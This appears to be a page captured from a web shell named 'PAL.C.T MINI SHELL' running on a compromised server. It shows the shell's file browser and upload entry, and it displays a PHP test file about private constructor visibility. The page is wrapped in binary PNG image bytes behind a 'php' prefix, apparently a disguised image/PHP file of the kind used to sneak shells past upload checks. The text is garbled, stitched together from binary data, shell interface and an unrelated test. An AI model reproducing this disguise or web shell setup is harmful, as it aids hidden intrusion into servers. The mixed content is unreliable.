php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/php-7.1.11/tests/classes/
upload
files >> //proc/self/root/php-7.1.11/tests/classes/ctor_visibility.phpt

--TEST--
ZE2 A private constructor cannot be called
--FILE--
<?php

class Test
{
    function __construct()
    {
        echo __METHOD__ . "()\n";
    }
}

class Derived extends Test
{
	function __construct()
	{
        echo __METHOD__ . "()\n";
		parent::__construct();
	}
	
	static function f()
	{
		new Derived;
	}
}

Derived::f();

class TestPriv
{
    private function __construct()
    {
        echo __METHOD__ . "()\n";
    }

	static function f()
	{
		new TestPriv;
	}
}

TestPriv::f();

class DerivedPriv extends TestPriv
{
	function __construct()
	{
        echo __METHOD__ . "()\n";
		parent::__construct();
	}
	
	static function f()
	{
		new DerivedPriv;
	}
}

DerivedPriv::f();

?>
===DONE===
--EXPECTF--
Derived::__construct()
Test::__construct()
TestPriv::__construct()
DerivedPriv::__construct()

Fatal error: Uncaught Error: Cannot call private TestPriv::__construct() in %sctor_visibility.php:%d
Stack trace:
#0 %s(%d): DerivedPriv->__construct()
#1 %s(%d): DerivedPriv::f()
#2 {main}
  thrown in %sctor_visibility.php on line %d
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`